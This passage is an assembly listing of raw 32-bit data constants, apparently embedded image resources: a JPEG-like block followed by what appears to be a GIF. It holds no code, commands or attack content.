		dd 0A6A5A4A3h, 0AAA9A8A7h, 0B5B4B3B2h, 0B9B8B7B6h, 0C4C3C2BAh
		dd 0C8C7C6C5h, 0D3D2CAC9h, 0D7D6D5D4h, 0E2DAD9D8h, 0E6E5E4E3h
		dd 0EAE9E8E7h, 0F5F4F3F2h, 0F9F8F7F6h, 0DAFFFAh, 1030Ch
		dd 11031102h, 0FE003F00h, 0FEC22BFEh, 0FFD0FE24h, 1BBE0D00h
		dd 0ADED66Bh, 0B5ECD6BDh, 0FA77884Fh, 879DFA7Ch, 6D6FEC81h
		dd 10365697h, 0FE3DB246h, 9ACCCEA4h, 49C7965Dh,	6A934A50h
		dd 7BC27657h, 0D44C339Dh, 68BBB421h, 0BDBCF38h,	0FDB589F6h
		dd 0EA0D3E9Bh, 0F2B730DEh, 0AC613C2Eh, 0E0393C4Ch, 24603A4Dh
		dd 7941FC49h, 429DD204h, 0BAAF1DE6h, 86B245C3h,	0CC9F51E3h
		dd 5DDCB34Fh, 0CDA56347h, 0C5A92D2Ch, 3C71FE20h, 0EFFEF02Dh
		dd 0E29F2EE2h, 0F667DA9Fh, 8A37F186h, 8FEBC38Fh, 4E9AEA11h
		dd 6BA56D9Bh, 3FBE6913h, 0BF1F7F8h, 426F1D6Bh, 92B035D2h
		dd 0E177785Ch, 7C8700FFh, 0D778B0CFh, 0B19096C5h, 197C4833h
		dd 5483E5E1h, 3F69DC33h, 0E29F7887h, 338627AEh,	0C32D3C2Ah
		dd 8C383054h, 0A636FBF7h, 99669F7Dh, 0C951699Dh, 0E8864BF8h
		dd 67AE42CDh, 0AB14CE98h, 0CE9A784Ah, 23E1C0F0h, 0D549B54Ah
		dd 0B8B00495h, 1EACB8BAh, 3CF21713h, 3275C443h,	0B0CBF0FAh
		dd 673CA310h, 193396B0h, 0C34DC488h, 20E0960Bh,	76452CEDh
		dd 4FEA26A3h, 8C924A55h, 95E0E4E4h, 4AA9B23Ah, 5FD64F95h
		dd 55F07F88h, 2BE874Fh,	0BB346ED6h, 7C1700FFh, 0A4D85B35h
		dd 0D240DF78h, 0E3513C6Ch, 44CA4E6Dh, 0DE0DAD7Dh, 46EDE1A3h
		dd 1F2A430Bh, 1B5BD295h, 5A028319h, 0E5203F04h,	0FF33FCh
		dd 0BFF06705h, 3468B58Bh, 7FC413DDh, 4CDB450Ch,	776D348Ah
		dd 857FF143h, 0EDF01BF5h, 2FED2DB5h, 0DE7ABD35h, 6CA719D2h
		dd 0BE206EA4h, 5BEE5891h, 0DBF28839h, 0FC021FE3h, 74EDD370h
		dd 0FF2D48h, 0B7D9AF66h, 0E1736FC4h, 0F14B83F4h, 8A31FC33h
		dd 79E870Fh, 74ADAEF0h,	0A24513F7h, 1300FF6Bh, 612CEFEEh
		dd 73B71EF1h, 0A4CDBD0Ah, 0B5D62D9Eh, 62CF13DFh, 5EDDF6A9h
		dd 0DB2468EAh, 32F177BFh, 0CDBAC7D3h, 0FF808Fh,	8200FF68h
		dd 0AC8FCE9Ah, 0E2C69AF8h, 0FED042EBh, 0E3896936h, 0BAC6074Dh
		dd 0D4A1AB65h, 0F177F864h, 9825AE0Dh, 0D188D85Dh, 79F8BFE6h
		dd 6B0E5FE2h, 0DB368CD6h, 738F4EEBh, 95E1376Fh,	4AE340BCh
		dd 0CC796AB8h, 0F08CC378h, 4B6545F9h, 8F200E13h, 3064CD06h
		dd 4AA3E455h, 1157A3A4h, 0AB0C2CCBh, 43D1BE7Bh,	0BDE38DAh
		dd 0C2D3752Ah, 0EF2C1B1Fh, 0E2389536h, 439B69D6h, 0C7592E0Bh
		dd 0F597B21Ch, 8CD2CE25h, 3A4B959Ah, 5CCE4E2Eh,	61D156AAh
		dd 7600FFB9h, 1D7CE77Eh, 137CA4FDh, 0D1E26DF1h,	0F80C1FD4h
		dd 0AD3CC5D0h, 0E9427DE1h, 76EC452Eh, 6D9A66E8h, 0DA105403h
		dd 1D45AC47h, 20896BB8h, 563F4D7Bh, 2EAE088Ah, 0B2A3D266h
		dd 0D037DD84h, 6AD5FCD5h, 0FED4089Eh, 2BF8DD04h, 890FF05Bh
		dd 7CAC4BBCh, 0A5A6F116h, 0F3F06375h, 46B5D454h, 0C1CFF1BCh
		dd 1C7E899Fh, 0BA203EB5h, 0F8AD53F8h, 7DA2288Eh, 56E9DC52h
		dd 85DFE2AFh, 0B6B826DEh, 0D1BCBFB4h, 0FB5B246Ch, 0DD5BD010h
		dd 9FBCDFEAh, 64C5AFB3h, 0A7F0C5F8h, 9D2CBEC3h,	85DDFEA2h
		dd 55FCD066h, 63883114h, 0EFE8114Fh, 98FB5BF6h,	0EC9FD52Dh
		dd 88BA3AD6h, 0DD2EDD35h, 498BE49Dh, 53562CD5h,	0F7036EE6h
		dd 47BC0BAFh, 1F87F8CCh, 1687F098h, 0E253C153h,	0C22EAF9Ch
		dd 0C33C7867h, 5596922Dh, 8F351CC5h, 9F094BF6h,	9424AD65h
		dd 8E87AF1Bh, 0E9344621h, 726962F3h, 58D5C3D1h,	0ED17269Ch
		dd 0C43D7738h, 0CA57AB63h, 59D128F3h, 2C851E8Eh, 77F82A5Dh
		dd 9763367Ch, 58F6E5D6h, 5EDA3EDCh, 8CB25370h, 8C16526Fh
		dd 5229ED27h, 0FF6FFCh,	0AF78B682h, 313ED45Dh, 0EFC00F78h
		dd 0F8A20B24h, 0DEB4E167h, 0CB60D22Ch, 0C4535DE6h, 6BB1C69Ah
		dd 7276C9A8h, 83A7A310h, 5063C8F4h, 0E44863ACh,	75676075h
		dd 0F4F62BAEh, 8487A5F0h, 37F071BCh, 0FDF06FF6h, 85277AF4h
		dd 1E7C1B3Eh, 618196F0h, 9327D17Ah, 8F78AA63h, 352DD654h
		dd 42DF18EFh, 0DD3DA9AAh, 0A665F6E7h, 0C04AADBDh, 6B757FCBh
		dd 8F347175h, 0FA32C335h, 0C315FC2Fh, 5F5A17C3h, 0FE84BFC5h
		dd 0B4D9783Ah, 137813EFh, 52C4F050h, 0F85F88F4h, 0D5B95E33h
		dd 90656C6Eh, 0ED2DCB2Fh, 9A238D8Fh, 0E5DB22D6h, 0E4D44F8Bh
		dd 0E56D5D8Dh, 0EDEFF931h, 0FBAD0E53h, 0F823FC49h, 0F85CFB67h
		dd 3EF12611h, 5AFE0A3h,	0FD387C58h, 0A43B7CA2h,	43FC6EC6h
		dd 0EDF2BE1h, 0A61AEADCh, 0ECDFE397h, 0E4F365ABh, 1AF7FCF0h
		dd 0AD73BFBEh, 0BD7314CDh, 68A89196h, 1A36A797h, 0B46E8827h
		dd 3D4EE7DFh, 7C3163C3h, 45FEE349h, 0CB4C2D2Ch,	0DE383189h
		dd 66CE201h, 9DA45257h,	0DCE0216Eh, 1B1FA686h, 7F996598h
		dd 3C9DE72Ah, 6A781E16h, 53D8CF8h, 8621952Ah, 953A2D97h
		dd 0C3B77370h, 0D4EA3467h, 0DA6F1C7h, 0F5F175D3h, 85B9642Bh
		dd 0DCA43C1Ch, 0E5EB9B1h, 0F5FAB50h, 52EDCA46h,	0A4CEE9A6h
		dd 0A0A49C20h, 49A58CD2h, 5ED97DAh, 93EB8E3h, 0F8B76A7Ch
		dd 619BE025h, 0F831FCA2h, 0FE69A625h, 1DFCD010h, 34DB126Dh
		dd 0A6AD46DAh, 0ABCE7A69h, 0C88EB9E2h, 4D7CD5E4h, 57D76AAFh
		dd 8ACF3A57h, 0BFD6759Fh, 1EEFE9A9h, 0C0D23CA5h, 0C3573DECh
		dd 0BE83EF1Ah, 0FD1AFC2Eh, 79297CA5h, 69B30673h, 7FC3F7F0h
		dd 78263E0Ch, 1285583Bh, 0BFC2DFE2h, 0EFF5EE19h, 2B785A12h
		dd 118057ECh, 123FE261h, 0A08BA6B5h, 0A5288A78h, 0C3E7EE8Eh
		dd 0D4482337h, 737756CCh, 1EC33745h, 0F0FBF826h, 85C6E3EFh
		dd 3CBE68E1h, 0FED1397Ch, 0FFE6B26h, 3D7CADD1h,	0F0477CA0h
		dd 0AFB58CBFh, 1F10BF87h, 59A2B6C3h, 134FF46Ch,	975C7AEAh
		dd 0B1251EF6h, 79E29EB7h, 0D05797ADh, 96B35097h, 6D7BFEEEh
		dd 0FB8B1B42h, 0C39BB9D7h, 96E31DDFh, 13F845D7h, 8DE17FF0h
		dd 7F9DB6A5h, 0E075CBA9h, 0C5F85CFh, 6BACA3C6h,	0BDF128DEh
		dd 0F5CD22DCh, 3A6B17DFh, 0EBAAA7AEh, 5FD6201Eh, 0BCB2654Ch
		dd 0A9BB2EF1h, 0EDE19FAEh, 0D345D60Ah, 4B0BFD74h, 8F7FF56Bh
		dd 0FA7F1C3h, 1EE235BEh, 0BC73CA2Dh
		dd 71AA89C3h, 0C031073Eh, 0AC1CDEE4h, 0AD593983h, 94755E2Ch
		dd 438E9E3Ch, 1A9ED59Ah, 72C92239h, 0A78B52C7h,	0E3C72D4Bh
		dd 1C1852E5h, 29E1C22Ah, 0F2D3CDC9h, 2FB8E6A9h,	67766CEDh
		dd 0CC57C585h, 0AF519825h, 2C910B47h, 63622916h, 0FA861757h
		dd 897830ACh, 0FDC19A4Ah, 17E50E53h, 0D6EBE118h, 0A8A95472h
		dd 5FBB8B53h, 0F6F6E874h, 98FD239Eh, 0C86800FFh, 7B00FF6Eh
		dd 0C75FF8A7h, 0BC0100FFh, 0E8CAA243h, 0B5F85818h, 59A475FCh
		dd 236F4D5Ch, 0DF5DDD1Fh, 234D5678h, 165BF48h, 44BE49D3h
		dd 0D63EC76Ch, 9FEFBFAh, 0D7257FA5h, 708AAFC3h,	6DC50B19h
		dd 3063EF1h, 97E6F239h,	3781DFE1h, 7EAA8E47h, 0A7AC1DCFh
		dd 951ECDD7h, 2FF1D7F9h, 27F8B658h, 0F84F67F0h,	3DE27D1Bh
		dd 63F1562Fh, 0F8528F78h, 0F842FBB3h, 13BC4A9Bh, 1F2F7678h
		dd 0E9B069DCh, 0D1053E76h, 172C37AFh, 6DF81FBEh, 0D2BFBE1h
		dd 21E4F62Ah, 9AC4EF86h, 6F799B46h, 61ABAE35h, 7EB069AEh
		dd 0C100FFA1h, 0AA07BC38h, 6FF64BF8h, 0AF4F3CD3h, 0DAE95C5Ah
		dd 10CFC5CFh, 25137F6Ah, 30236FD3h, 0DA68D8DCh,	8F86BDA5h
		dd 8527D8E0h, 0C95CF0B0h, 0C30F9DE0h, 0F2B697B7h, 0FEDE9685h
		dd 1519EEEAh, 0D7AF085Dh, 5BA3227Ch, 43AEE211h,	0CA7E194h
		dd 0F031BC4Ch, 0C5393C96h, 711A8ED9h, 128786ADh, 33C419E7h
		dd 13ABC305h, 2196CE4Dh, 229E50E5h, 8E3A9D9Ch, 2C78F134h
		dd 2AA11665h, 0F0D39736h, 233E25C4h, 0E3E061C1h, 0CF7F051h
		dd 5E6706ACh, 0ACE9949Ch, 1A152B7Eh, 46AA02EBh,	93D59FF1h
		dd 27E316A9h, 68955615h, 0F65838D9h, 0F697DABFh, 0EDEFF075h
		dd 588FF03Bh, 5DAD6FF8h, 8E561B9Dh, 78100FE2h, 0C051C523h
		dd 293C6E2Eh, 2B362DE3h, 58BDF488h, 0DD8CEF5Bh,	0D5054FD8h
		dd 0E9AE8FE6h, 505F58E2h, 4E3D75D0h, 3B8B0BD2h,	6DEF6DA9h
		dd 0E2519ABFh, 0F60FDA1Fh, 71B7F81Dh, 0EA13EBA1h, 7C0A00FFh
		dd 54196D7Bh, 0EF6D8FBAh, 0A17D7C82h, 0D4947145h, 0EBBB7B74h
		dd 533CD157h, 4597CBE1h, 0FF36B770h, 0AED26B00h, 0F6B7EC1Fh
		dd 5B74EBAh, 0F5B79DC5h, 0C41F5CCBh, 0EDF855Fh,	76F82E7Eh
		dd 4FFC096Fh, 7C8647F0h, 9FC9E177h, 89573ACDh, 5A3D8BF4h
		dd 8D800BDEh, 1B59DE1Ah, 3E5D9EA8h, 107724FEh, 5B12166Ah
		dd 98B8C15Eh, 0D79C8C67h, 0F828BEECh, 8778973Dh, 0B0CE2E57h
		dd 8537AE59h, 8F24C7F8h, 99C4532Eh, 10719C63h, 0ACCA19A7h
		dd 4A95D830h, 0A7B30AADh, 4AEAAC4Eh, 0A9555A85h, 0B54AC3D6h
		dd 42DA4759h, 0AA2FA572h, 0A1171EE2h, 2E864A9Eh, 5FAE228Eh
		dd 0B015619Ah, 6A3BFCD8h, 46B9296Ah, 42594E9Dh,	0A494314Eh
		dd 33CE28E1h, 362BE5A6h, 0FFE2A4h, 7C10EF96h, 0F10FF861h
		dd 41BCF102h, 17D9AFE3h, 0E2A1D6E0h, 0EAB2CD4Bh, 3582BF9Ah
		dd 0E5F88AFh, 0E85AFD74h, 0A546FB96h, 2BF8A075h, 8D6E1AC6h
		dd 0D1BDDBF6h, 40F1C4BDh, 0E771CFB2h, 0ED704B5Ch, 620E1270h
		dd 0B79DF6FBh, 0A98906F0h, 0BC085FE8h, 0E0DFF01Fh, 5AAC9F16h
		dd 0BF5B3F1Dh, 0DFA671F8h, 7E7DE347h, 6CAA52CAh, 0F81C4F75h
		dd 3FF15887h, 91B4268Fh, 0DB58ABF6h, 0C6D68678h, 881BC640h
		dd 9FF68926h, 0FE4F7DDCh, 13FB2509h, 5E92376Ah,	176FE047h
		dd 2E5762E9h, 0C4677AD6h, 62431CCFh, 2CB6C532h,	3237EB33h
		dd 16922024h, 51639914h, 15B8AA80h, 0FF08BFEEh,	0D95F6100h
		dd 0FD95E057h, 3FE0B3B6h, 831ADE83h, 926E36C4h,	0C49BF8D9h
		dd 97F15227h, 4267AC88h, 9A69DC0Ah, 0F52F8CBFh,	701EADDBh
		dd 1DDD7C46h, 9CEDF6B4h, 3AF22B00h, 0CB78071Eh,	3E3CAF8Bh
		dd 518EE26Dh, 0E657C082h, 0B2CC8AA5h, 850D972Ch, 1E562CE2h
		dd 1AABE5A2h, 29178EF9h, 0D21A73CAh, 552807ADh,	45C5F9F6h
		dd 0D35E4A51h, 0CC1F2DDAh, 0AA3884C7h, 4F0C47ADh, 5069E110h
		dd 0BE52E39Dh, 780A0B0Fh, 939690EAh, 0D4FAF53h,	3527AF86h
		dd 547C6E7Eh, 0B9F9AEB9h, 0D96FC88Fh, 0F822F607h, 6A41FB99h
		dd 0FFF1181Eh, 7BDC700h, 0C16FF050h, 2D5B1E4Dh,	6EF04E57h
		dd 872D6FBFh, 4F2D3E8Ah, 9B36E968h, 0AB348937h,	0BEE89380h
		dd 86CB8703h, 62AF2C49h, 88C5E782h, 0A75604A9h,	0F337BA43h
		dd 564500FFh, 0DBDAF0D6h, 8B6C6DC3h, 0B146101Ch, 0AA001A43h
		dd 0A10AA0B1h, 81010040h, 0C71D00C6h, 49282C14h, 21013262h
		dd 0D246F853h, 0C4524F46h, 729C9CE3h, 5373324Eh, 8737F4D7h
		dd 0DF701EDEh, 320CB986h, 0BAC21B1Eh, 0E255A754h, 0CEDAF8B1h
		dd 78E6C633h, 7846C5D9h, 0C6585DACh, 4AE5522Ah,	3142A914h
		dd 509A42A3h, 0E5DC04A7h, 32C9B73Fh, 8341063Ch,	37052C58h
		dd 953AB918h, 55A9CDAAh, 0CE6A55C4h, 5D5959A5h,	29C628D9h
		dd 2829C228h, 0D9FFDBADh, 0
		dd 38464947h, 3AC6139h,	0FFE70015h, 99643400h, 38A2672Eh
		dd 6A309C67h, 0A56A329Fh, 439B6B3Ah, 6D379A69h,	0B06F2EA9h
		dd 47A36C3Fh, 703D8C6Dh, 0AD713B99h, 439D7537h,	753FA272h
		dd 0AF733E98h, 359E7542h, 7449B177h, 93744F98h,	458F7555h
		dd 7748A178h, 0AD764AA8h, 3AA37B3Dh, 7A43B67Bh,	0BB7A3FAFh
		dd 41AD7F39h, 7D48A77Eh, 0A07B50A0h, 40A57A52h,	7B54BF7Dh
		dd 0C180369Ah, 40967B5Bh, 813FBB80h, 0B08047B6h, 47B1833Dh
		dd 814BAC83h, 0C0863AB7h, 41BF8345h, 8058B486h,	0A78350ACh
		dd 54B4844Bh, 825DB382h, 9C8261A2h, 57C4893Eh, 8945A485h
		dd 0BE8949B7h, 52B88850h, 8B48BD87h, 0C5894BBAh, 62B38A4Fh
		dd 895CA787h, 0AE8A57A8h, 5BAD8665h, 8868BB89h,	0BD8E4BA3h
		dd 4EC49043h, 8E56C38Eh, 0B98F55BEh, 5DC79247h,	8F5CB98Eh
		dd 0A78C6CB4h, 54BC9258h, 9552C993h, 0C9915EC4h, 5CB89360h
		dd 955BC493h, 0C89A4CBFh, 56AE946Bh, 975DC798h,	0AE9373C1h
		dd 5ABC9864h, 9B61CB9Bh, 0CB9A64C6h, 5BC09B67h,	997AC8A0h
		dd 0C29D6AB5h, 75BD9E6Fh, 0A067B79Dh, 0C5A264CBh, 6FC5A06Dh
		dd 9F75CB9Fh, 0BA9E7FC6h, 6ACFA561h, 9F84CEA3h,	0CAA669B6h
		dd 74C9A471h, 0A379CFA3h, 0C4A37ECAh, 83C5A577h, 0A381BEA3h
		dd 0CCA57BCCh, 6DC1A67Eh, 0A976CEAAh, 0D4A878CFh, 7BC9AB73h
		dd 0A783C9A9h, 0CFA87EC9h, 6DC3A787h, 0AE71CBAEh, 0D2AA81D2h
		dd 7ACCAE77h, 0AD7FD3ADh, 0C7AB8BCDh, 86CEAC88h, 0B17AC9AEh
		dd 0D0B082D0h, 7DD1AF8Bh, 0AF98D2B4h, 0CDB483C0h, 95D3B385h
		dd 0B38AC7B0h, 0CEB192CDh, 89C9B490h, 0B887D7B6h, 0D1B68ED1h
		dd 95D7B982h, 0B990D2B5h, 0CEB79BD4h, 95CEBB8Eh, 0B994CEB9h
		dd 0DDBC8FDBh, 0A1D1BF89h, 0BC93CAB9h, 0D7BA9AD7h, 98D1BA9Fh
		dd 0BE92D2BCh, 0D8BF8DD2h, 9ACCBE96h, 0C094D3BDh, 0CFC098D4h
		dd 97E0BE99h, 0BE9EDBC0h, 0CFBFA0DBh, 0A3D5C09Ch, 0BFA8D6BFh
		dd 0D8C497D1h, 9AD8C29Eh, 0C1A1DEC3h, 0DFC0A9DEh, 0A1E1C59Dh
		dd 0C4A4DBC5h, 0DBC4A8E1h, 0B0D5C4ACh, 0C7A3D0C4h, 0D7C7A7DDh
		dd 0A5DDC6AAh, 0C9A9DFC9h, 0D9C7B0D9h, 0B4DFC8ACh, 0CAAED4C8h
		dd 0E2CCA8E2h, 0B3DCCCACh, 0CEAADCCAh, 0E4CBB8E4h, 0AFDFCDB5h
		dd 0CDB9DFCFh, 0E5CEB2D9h, 0BBE7D0B4h, 0D2AEE8CEh, 0E2D0B8E8h
		dd 0BAE2D2B2h, 0D0C1E3D1h, 0E4D4B4E4h, 0B6E5D3BBh, 0D4C0E6D6h
		dd 0E1D6BAE0h, 0B8E7D5BDh, 0D7BFE9D8h, 0E3D5C9E9h, 0BEE3D7C3h
		dd 0D8C8E4DAh, 0E5D9C5DFh, 0C0E0D8CFh, 0DCC4E7DCh, 0E7DBC7E1h
		dd 0C3E8DEC1h, 0DFC7E9DFh, 0EADCD0E4h, 0C4EADECAh, 0DFCFEBE0h
		dd 0ECE0CCE6h, 0CDE6DED5h, 0E3CFEEE2h, 0EBE2DAF0h, 0D7EBE5D4h
		dd 0E9D9EEE8h, 0F1E8DFF0h, 0E1F2EBDAh, 0ECDCF2EAh, 0F3EBE2F3h
		dd 0DDF4ECE3h, 0EDE4F4EEh, 0F6EFDEF5h, 0E7F7EEE5h, 0FFFFF8F0h
		dd 4F921FFh, 0FF000A01h, 2C00h,	3AC0000h, 8000015h, 0A5D300FEh
		dd 60B04723h, 13088141h, 0B0C85C2Ah, 0EC86C3A1h, 0E88BA5D8h
		dd 88BBA2AEh, 646A2D14h, 46230E77h, 82052075h, 0A4B2491Ch
		dd 0CD2693C9h, 4E572B99h, 0EA97CBA5h, 295BA9DCh, 9BB79C4Eh
		dd 2B8A6ADEh, 0CBA65207h, 0B2572973h, 0DCD2C9ACh, 5B2F97B9h
		dd 0B3A72CB2h, 2D71D129h, 4A951DCFh, 0ABD5AAB5h, 1D2DCF58h
		dd 0D79C7587h, 0E9FCFE71h, 0ACB64B1Bh, 0CAFBB259h, 56B7DBE6h
		dd 65B4DA5Fh, 0CB5DC9F7h, 0BBDCAE96h, 95C2E371h, 5FAEF63Bh
		dd 0E6E16EBFh, 0AFF66BEDh, 1388C3E1h, 0B8CC5E2Bh, 88C7E3B1h
		dd 2B5DD1F3h, 0CBE5B219h, 964F3398h, 3EB399CCh,	8F2564CFh
		dd 342F9CEDh, 0CFA5D168h, 0BA9B3EAAh, 0A4B56BB4h, 0DCFEAF53h
		dd 0D8EDB47Ah, 867773B8h, 6F6FF76Dh, 7F73AEC7h,	0F63A3DA6h
		dd 0F164D36Ch, 7CA7D3E1h, 0CFC972ACh, 47BBE1F3h, 0E574FABDh
		dd 0BF4FB1D4h, 0F73B7DB7h, 0FEEDE0EAh, 9E37BBD9h, 0E879F57Ch
		dd 37B3CFD3h, 0F7F8BAAFh, 67BFD7EAh, 3CDE9EAFh,	0E9E5F87Ah
		dd 0BFAF0797h, 0FCF1FEFFh, 0ED7FE027h, 81606814h, 0A0A81CEBh
		dd 9834E182h, 44CB8160h, 0D784CD78h, 41616844h,	0E0864E0h
		dd 0E41A1B41h, 3E1F43A1h, 0EA88E224h, 42512430h, 0A2543127h
		dd 84CCE939h, 8D2A8BD4h, 2E8C6314h, 8DD4B4BAh, 8EC39A38h
		dd 84D94C3Ah, 993B4E13h, 3B399203h, 5212B515h, 14D4DA3Dh
		dd 0E9154B8Eh, 154E8FD4h, 5494D599h, 57D2C556h,	0CE238E58h
		dd 608FE57h, 1DD497DEh,	65731C97h, 99E6272Dh, 0A696C268h
		dd 0B6CD826Ah, 58570DBh, 825E56E6h, 9C6729D5h, 9C568169h
		dd 66EA7C6Eh, 0EA7D9EDBh, 83740F86h, 0A168374Ah, 19668DB8h
		dd 15D68C65h, 359EA3E8h, 64A0D9F7h, 72A88A4Ah, 9DFA6298h
		dd 0A766077h, 5E60A71Eh, 0D9A79DF7h, 75DD9A8Dh,	0AA977299h
		dd 0AAB699AAh, 0B0FEAB9Dh, 741D2A62h, 0A6672689h, 19F1CB59h
		dd 62AC76ABh, 0A7A9AA47h, 0AEE9AAA6h, 5D4AFEA0h, 17D29D79h
		dd 29EA789Fh, 0CDB3DF1Bh, 7A4F27B2h, 9FB7E5F8h,	0D7E8F43Ch
		dd 70F13C9Fh, 13C6DCBh,	7FA00B82h, 2E57FE01h, 0B8260A3Ch
		dd 0B2ECBACEh, 0E883607Bh, 0BCCDC384h, 0EF637CDCh, 23860D37h
		dd 0F2FC858Ch, 0FF3761ABh, 86F0286Ah, 30687B02h, 7C221939h
		dd 0F06C2F0h, 2888D074h, 40D2E422h, 0E5418E6h, 0D4EE3739h
		dd 71354114h, 4C93143Ch, 4E53A946h, 0CE54823Eh,	0C4E7288Fh
		dd 923E3A93h, 3D8F649Ch, 94724CA6h, 939CD732h, 0A56A52CAh
		dd 64E5C815h, 5B578E55h, 0D055FD02h, 96997343h,	6B1748B1h
		dd 22C3A89Dh, 6BA7B4EDh, 6D1BCD46h, 0AB759E6Fh,	2681A6D4h
		dd 5EBDAAECh, 0B4ABA867h, 0A66C4D7Eh, 0DF33E0F6h, 2DA768D9h
		dd 8F65D99Eh, 0AD73298Dh, 0A6DCCDC2h, 376DBA9Ch, 7AF6BEAAh
		dd 4AA7FEEAh, 786C8B1Fh, 37EE05E3h, 497DEFB2h, 83857978h
		dd 84E01F39h, 78B89793h, 0F8EE42C6h, 0BDFDEEE1h, 0D74FA974h
		dd 9C77A5FDh, 0D3F79A9Bh, 78E7BBA0h, 0C7C8F7E5h, 3AD0B42Ch
		dd 0ACB5DEABh, 0EBFAEEB7h, 0FB2B81FAh, 8ED7B4ECh, 0E6EDECCEh
		dd 0E83A2EBEh, 0EF6ECEECh, 0CE8EF3BEh, 4BDFC337h, 7CDDBD2Fh
		dd 0DC376F33h, 836F635Ch, 0FD2F44C2h, 0D377D1F4h, 4FD8364Dh
		dd 0DDF58D98h, 0C030036Ch, 7E2F8703h, 0C0FE3C0h, 321CF8FEh
		dd 6C5F18Ch, 0C1106389h, 0A19388E0h, 638137FCh,	0DD35FDF3h
		dd 38FDE40Ch, 8FF2D4F1h, 4B5200DAh, 23FA7F8h, 4180D01Ah
		dd 84539913h, 0FD2DC0A6h, 0C9371C68h, 72BC3792h, 2EA1D2B4h
		dd 165C163Dh, 41C6FCB3h, 72CE2DC8h, 85A4BA1h, 5D9DD741h
		dd 9E6B8D75h, 0EEDE55F2h, 7D4EB766h, 53936F8Eh,	48670C9Bh
		dd 4AFE1A43h, 1C1AC772h, 0C3A6CEE2h, 5A2DA61Ah,	0CEA2D1FEh
		dd 0C3374C7Ah, 754EA60Bh, 0E9E24C46h, 26ACA3D0h, 1A74D12Eh
		dd 0D90F968Ch, 0CE264323h, 94438AC7h, 474EE94Fh, 90662CC5h
		dd 62EC5289h, 0ACF8C712h, 750B4E2Eh, 1AA34BB0h,	6FBB2763h
		dd 0EF1DEECDh, 0E71C1700h, 0CA380F18h, 0A4758E2Eh, 98ED1E63h
		dd 0E46878C7h, 0C8111E22h, 30E6203Ah, 7B8F990Fh, 0F350A3D6h
		dd 0E748C428h, 0BA1C2371h, 0A6F505D0h, 606D8BA7h, 0A8D51B2Fh
		dd 0B92E35C6h, 927A4449h, 0A4F8E07Bh, 4A193F28h, 94D2964Fh
		dd 0C2184BE5h, 0F28DE432h, 0F647EFD5h, 672CA03Bh, 0FD960DE9h
		dd 0B0D81B08h, 67FB0046h, 0F2FA5A0Eh, 599B2497h, 0A5A27703h
		dd 4B2CD606h, 1087D414h, 2E4468C9h, 0ED725152h,	9308DC31h
		dd 6E69B7D6h, 5AC4858Eh, 0D84F0B5Ah, 0ADEDBDAAh, 5C8C393Bh
		dd 4E48A70Fh
		dd 7130C61Fh, 7A70B8Ah,	224E59CBh, 0CD8AE7A6h, 0A07CA302h
		dd 39D444F8h, 0FE483E91h, 0F27C2304h, 0BA32CEF9h, 0C45699F3h
		dd 8888D9E7h, 73BE2CB6h, 0E8444F89h, 0D0C99F0Fh, 3E140E86h
		dd 3327AD01h, 0F4C678C9h, 0F33F5454h, 6346A358h, 0D1DAC6C7h
		dd 0BC7A8E6Eh, 2A474823h, 0F1DA91C7h, 0E424808Fh, 0C8760E42h
		dd 91635E4Fh, 0BCE98213h, 0EA493920h, 38A6F235h, 0B54EA9CDh
		dd 61ECD377h, 0D40932Fh, 41A550AAh, 0F51AA2D4h,	2A4D48A8h
		dd 0D4C19B52h, 0A9F53AA6h, 334660CDh, 67D4C19Eh, 56AA7550h
		dd 0A355AACDh, 72ADD5C1h, 0A0D6AB95h, 0F19E3506h, 4346B2D5h
		dd 2B08D6ACh, 0D62AB835h, 0ADF5BAB6h, 5A6B4570h, 0BAD74AE7h
		dd 0DAAE95DAh, 0F75EABC8h, 0EABED7CAh, 0DD7E26F5h, 970FDE5h
		dd 0E47A4047h, 89911B0h, 58CB1762h, 0B156288Ch,	626C8587h
		dd 8C115B25h, 98A51618h, 2B66A3F5h, 0B877C7E2h,	2DA0A4C3h
		dd 4B311CECh, 0B48ECFDAh, 2D3D28B4h, 11EB316Ah,	0B5D65AC3h
		dd 2CFE8919h, 0DB478443h, 7856DADAh, 3A6DB102h,	74109778h
		dd 0AF224424h, 2845AD5Dh, 4C845882h, 558E2056h,	0DB9772A9h
		dd 0C40C8210h, 9F548561h, 0BEABA774h, 43B7590Eh, 869854ABh
		dd 0EC5DB438h, 0E0BA9762h, 3178AF0Dh, 8654DDC4h, 1BDF94CFh
		dd 0E1B728E5h, 0C365EB3Dh, 0AF8C9792h, 0D3F9317Ch, 933516A0h
		dd 5286ADF7h, 64D45BF7h, 0C9BFF7F8h, 7808630h, 18600C6Ch
		dd 0CE07C0F8h, 0C1723005h, 0E2E706E0h, 857E0F15h, 89EC2784h
		dd 0C2F85B0Ah, 86845E16h, 0E61CC37h, 20C3E1AFh,	1187F10Eh
		dd 1312E24Ch, 4E28C4F8h, 0CC0B8AB1h, 381860E2h,	0B18E3018h
		dd 0E3417B8Ch, 0C6B8C05Eh, 8EB1C636h, 5B8BDC77h, 40C7F8F8h
		dd 6B90320Eh, 131F6441h, 2648C8F9h, 5C962EF2h, 0F93B258Bh
		dd 5F0BBC9h, 64E17C31h,	17D93B25h, 95329E52h, 2EE5CCB1h
		dd 59CB5977h, 0C7988626h, 9332E64Ch, 3E6218F9h,	0D79AFE86h
		dd 2863E6CCh, 7E6ACDE3h, 6CE59CB3h, 0F9DB3AD6h,	737D65CEh
		dd 0D7626F28h, 0BE75CE4Bh, 0A0B40E80h, 42CB8D03h, 14971A1Bh
		dd 15A246F2h, 0DE4F213Dh, 53F71BA4h, 0C7ADA4AFh, 0AF76F65Eh
		dd 0B4CE93BDh, 5ED93FA6h, 1B32234Ch, 7C1EC48Ch,	515EC92Fh
		dd 83D477BFh, 5634C6AEh, 0BB56EACDh, 80D21A7Ah,	1D5DACB5h
		dd 0B7E2A26Bh, 752E821Ah, 0EBCD77A5h, 0D7FA0F5Dh, 502F8EB8h
		dd 0FB542931h, 0FCBF034Ah, 95B2B64Dh, 0FEA20D1Dh, 78C91A57h
		dd 1DA03273h, 0F803396Dh, 76CED8DAh, 5FE18D80h,	0C57B6F01h
		dd 8136E6E0h, 6D0CAC01h, 0FFDCFB9Bh, 9580F6F5h,	0BF766041h
		dd 30C518B9h, 3DE3BC06h, 0FBDB7AEFh, 7190BFDEh,	0C118A30h
		dd 17E3045Fh, 0BF72E0BFh, 2A64BCBBh, 0B6C9F943h, 162DB258h
		dd 3B86F0CEh, 88B6163Ch, 0D163C405h, 0E2B7890Ah, 0B8CF18E2h
